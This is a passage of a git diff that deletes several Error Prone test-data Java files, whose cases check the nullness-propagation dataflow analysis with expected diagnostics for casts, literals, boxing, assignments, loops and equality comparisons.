CIRCULAR = MyBigInteger.CIRCLE; - - public void circularInitialization() { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(MyBigInteger.CIRCLE); - } - - static class MyBigInteger extends BigInteger { - // Shadows BigInteger.ONE. - public static final MyBigInteger ONE = null; - // Creates circular initializer dependency. - public static final MyBigInteger CIRCLE = NullnessPropagationTransferCases2.CIRCULAR; - - MyBigInteger(String val) { - super(val); - } - - // Has the same signature as a BigInteger method. In other words, our method hides that one. - public static BigInteger valueOf(long val) { - return null; - } - } - - public void builtInConstants() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(BigInteger.ZERO); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(MyBigInteger.ZERO); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(BigInteger.ONE); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(MyBigInteger.ONE); - } - - enum MyEnum { - ENUM_INSTANCE; - - static MyEnum valueOf(char c) { - return null; - } - - public static final MyEnum NOT_COMPILE_TIME_CONSTANT = ENUM_INSTANCE; - public static final MyEnum UNKNOWN_VALUE_CONSTANT = instance(); - - public static MyEnum instance() { - return ENUM_INSTANCE; - } - } - - public void enumConstants() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(MyEnum.ENUM_INSTANCE); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(ENUM_INSTANCE); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(MyEnum.NOT_COMPILE_TIME_CONSTANT); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(MyEnum.UNKNOWN_VALUE_CONSTANT); - } - - public void explicitValueOf() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(String.valueOf(3)); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(valueOf(3)); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(Integer.valueOf(null)); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(BigInteger.valueOf(3)); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(Enum.valueOf(MyEnum.class, "INSTANCE")); - - // We'd prefer this to be Non-null. See the TODO on CLASSES_WITH_NON_NULLABLE_VALUE_OF_METHODS. - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(MyEnum.valueOf("INSTANCE")); - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(MyBigInteger.valueOf(3)); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(MyEnum.valueOf('a')); - } - - public void methodInvocationIsDereference(String nullableParam) { - String str = nullableParam; - str.toString(); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str); - } - - public void booleanMethodInvocationIsDereference(String nullableParam) { - String str = nullableParam; - str.isEmpty(); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str); - } - - public void staticMethodInvocationIsNotDereferenceNullableReturn(MyClass nullableParam) { - nullableParam.staticReturnNullable(); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(nullableParam); - } - - public void staticMethodInvocationIsNotDereferenceNonNullReturn(String nullableParam) { - nullableParam.valueOf(true); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(nullableParam); - } - - public void staticMethodInvocationIsNotDereferenceButPreservesExistingInformation() { - String s = "foo"; - s.format("%s", "foo"); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s); - } - - public void staticMethodInvocationIsNotDereferenceButDefersToOtherNewInformation(String s) { - s = s.valueOf(true); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s); - } - - public void classgetNamesMethods() { - Class klass = this.getClass(); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(klass.getName()); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(klass.getSimpleName()); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(klass.getCanonicalName()); - } - - public void stringStaticMethodsReturnNonNull() { - String s = null; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(String.format("%s", "foo")); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(format("%s", "foo")); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s.format("%s", "foo")); - } - - public void stringInstanceMethodsReturnNonNull() { - String s = null; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s.substring(0)); - } - - public void requireNonNullReturnsNonNull(String s) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(Objects.requireNonNull(s)); - } - - public void requireNonNullUpdatesVariableNullness(String s) { - Objects.requireNonNull(s); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s); - } - - public void checkNotNullReturnsNonNull(String s) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(checkNotNull(s)); - } - - public void checkNotNullUpdatesVariableNullness(String s) { - checkNotNull(s); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s); - } - - public void verifyNotNullReturnsNonNull(String s) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(verifyNotNull(s)); - } - - public void verifyNotNullUpdatesVariableNullness(String s) { - verifyNotNull(s); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s); - } - - public void junit3AssertNotNullOneArgUpdatesVariableNullness(Object o) { - junit.framework.Assert.assertNotNull(o); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(o); - } - - public void junit3AssertNotNullTwoArgUpdatesVariableNullness(String message, Object o) { - junit.framework.Assert.assertNotNull(message, o); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(o); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(message); - } - - public void junit4AssertNotNullOneArgUpdatesVariableNullness(Object o) { - org.junit.Assert.assertNotNull(o); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(o); - } - - public void junit4AssertNotNullTwoArgUpdatesVariableNullness(String message, Object o) { - org.junit.Assert.assertNotNull(message, o); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(o); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(message); - } - - public void stringsIsNullOrEmptyIsNullCheck(String s) { - if (Strings.isNullOrEmpty(s)) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(s); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s); - } - } - - public void objectsIsNullIsNullCheck(String s) { - if (Objects.isNull(s)) { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(s); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s); - } - } - - public void objectsNonNullIsNullCheck(String s) { - if (Objects.nonNull(s)) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s); - } else { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(s); - } - } - - public void optionalMethodsReturnNonNullUnlessAnnotated() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(Optional.absent()); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(Optional.of("")); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(Optional.fromNullable(null)); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(Optional.of("Test")); - Optional myOptional = Optional.absent(); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(myOptional.get()); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(myOptional.or("")); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(myOptional.asSet()); - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(myOptional.orNull()); - } -} diff --git a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases3.java b/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases3.java deleted file mode 100644 index 234c582e762..00000000000 --- a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases3.java +++ /dev/null @@ -1,273 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.dataflow.nullnesspropagation.testdata; - -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnBoxed; -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnPrimitive; - -import com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest; - -/** - * Dataflow analysis cases for testing transfer functions in nullness propagation around various - * kinds of expressions, method parameter and call handling, and loops. - */ -public class NullnessPropagationTransferCases3 { - public void casts() { - Object o = null; - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker((String) o); - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed((int) o); - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive((int) o); - - o = "str"; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker((String) o); - } - - public void literals() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive((byte) 1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive((short) 1000); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(33L); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(0.444f); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(0.5555d); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(true); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive('z'); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker("a string literal"); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(String.class); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(null); - } - - public void autoboxed() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed((byte) 1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed((short) 1000); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed(2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed(33L); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed(0.444f); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed(0.5555d); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed(true); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed('z'); - } - - public void autounbox() { - Integer i = null; - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(i); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(i); - // Unboxing is a method call, so i must be non-null... - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(i); - } - - public void parameter(String str, int i) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str); - - // A call to plain triggerNullnessChecker() would implicitly call Integer.valueOf(i). - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(i); - } - - public void assignment(String nullableParam) { - String str = nullableParam; - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str); - - str = "a string"; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str); - - String otherStr = str; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str); - - str = null; - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str); - - otherStr = str; - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str); - } - - public void assignmentExpressionValue() { - String str = "foo"; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str = null); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str); - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str = "bar"); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str); - - str = null; - String str2 = null; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str = str2 = "bar"); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str = str2 = null); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - - public void localVariable() { - short s; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(s = 1000); // narrowing conversion - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(s); - int i = 2; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(i); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(i = s); // widening conversion - String str = "a string literal"; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str); - Object obj = null; - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(obj); - - ++i; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(i); - } - - public void boxedPrimitives() { - Short s = 1000; - // BUG: Diagnostic contains: (Non-null) - NullnessPropagationTest.triggerNullnessChecker(s); - - Integer i = 2; - // BUG: Diagnostic contains: (Non-null) - NullnessPropagationTest.triggerNullnessChecker(i); - } - - public void nullableAssignmentToPrimitiveVariableExpressionValue() { - int i; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(i = boxedIntReturningMethod()); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(boxedIntReturningMethod()); - } - - public void methodInvocation() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(intReturningMethod()); - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(stringReturningMethod()); - } - - private Integer boxedIntReturningMethod() { - return null; - } - - private int intReturningMethod() { - return 0; - } - - private String stringReturningMethod() { - return null; - } - - public void objectCreation(Object nullableParam) { - Object obj = nullableParam; - obj = new Object(); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(obj); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(new Object[0]); - } - - public void inc() { - int i = 0; - short s = 0; - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(i++); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(s++); - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(++i); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(++s); - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(i += 5); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(s += 5); - } - - public void loop1() { - Object o = null; - while (true) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(o); - o.hashCode(); - } - } - - public void loop2() { - Object o = null; - Object comingValue = null; - while (true) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(o); - - o = comingValue; - comingValue = new Object(); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases4.java b/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases4.java deleted file mode 100644 index fee52af3fd2..00000000000 --- a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases4.java +++ /dev/null @@ -1,273 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.dataflow.nullnesspropagation.testdata; - -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; - -/** Tests for ==. */ -public class NullnessPropagationTransferCases4 { - - public void equalBothNull() { - String str1 = null; - if (str1 == null) { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - - if (null == str1) { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - - String str2 = null; - if (str1 == str2) { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - - public void equalBothNonNull() { - String str1 = "foo"; - if (str1 == "bar") { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - - if ("bar" == str1) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - - String str2 = "bar"; - if (str1 == str2) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } - - public void equalOneNullOtherNonNull() { - String str1 = "foo"; - if (str1 == null) { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - - if (null == str1) { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - - String str2 = null; - if (str1 == str2) { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - - if (str2 == str1) { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - - public void equalOneNullableOtherNull(String nullableParam) { - String str1 = nullableParam; - if (str1 == null) { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - - if (null == str1) { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - - String str2 = null; - if (str1 == str2) { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - - if (str2 == str1) { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - - public void equalOneNullableOtherNonNull(String nullableParam) { - String str1 = nullableParam; - if (str1 == "foo") { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - - if ("foo" == str1) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - - String str2 = "foo"; - if (str1 == str2) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - - if (str2 == str1) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } - - // TODO(eaftan): tests for bottom? -} diff --git a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases5.java b/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases5.java deleted file mode 100644 index 86f519e0105..00000000000 --- a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases5.java +++ /dev/null @@ -1,273 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.dataflow.nullnesspropagation.testdata; - -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; - -/** Tests for !=. */ -public class NullnessPropagationTransferCases5 { - - public void notEqualBothNull() { - String str1 = null; - if (str1 != null) { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - - if (null != str1) { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - - String str2 = null; - if (str1 != str2) { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - - public void notEqualBothNonNull() { - String str1 = "foo"; - if (str1 != "bar") { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - - if ("bar" != str1) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - - String str2 = "bar"; - if (str1 != str2) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } - - public void notEqualOneNullOtherNonNull() { - String str1 = "foo"; - if (str1 != null) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - - if (null != str1) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - - String str2 = null; - if (str1 != str2) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - - if (str2 != str1) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - - public void notEqualOneNullableOtherNull(String nullableParam) { - String str1 = nullableParam; - if (str1 != null) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - - if (null != str1) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - - String str2 = null; - if (str1 != str2) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - - if (str2 != str1) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(str2); - } - - public void notEqualOneNullableOtherNonNull(String nullableParam) { - String str1 = nullableParam; - if (str1 != "foo") { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Non-null) - 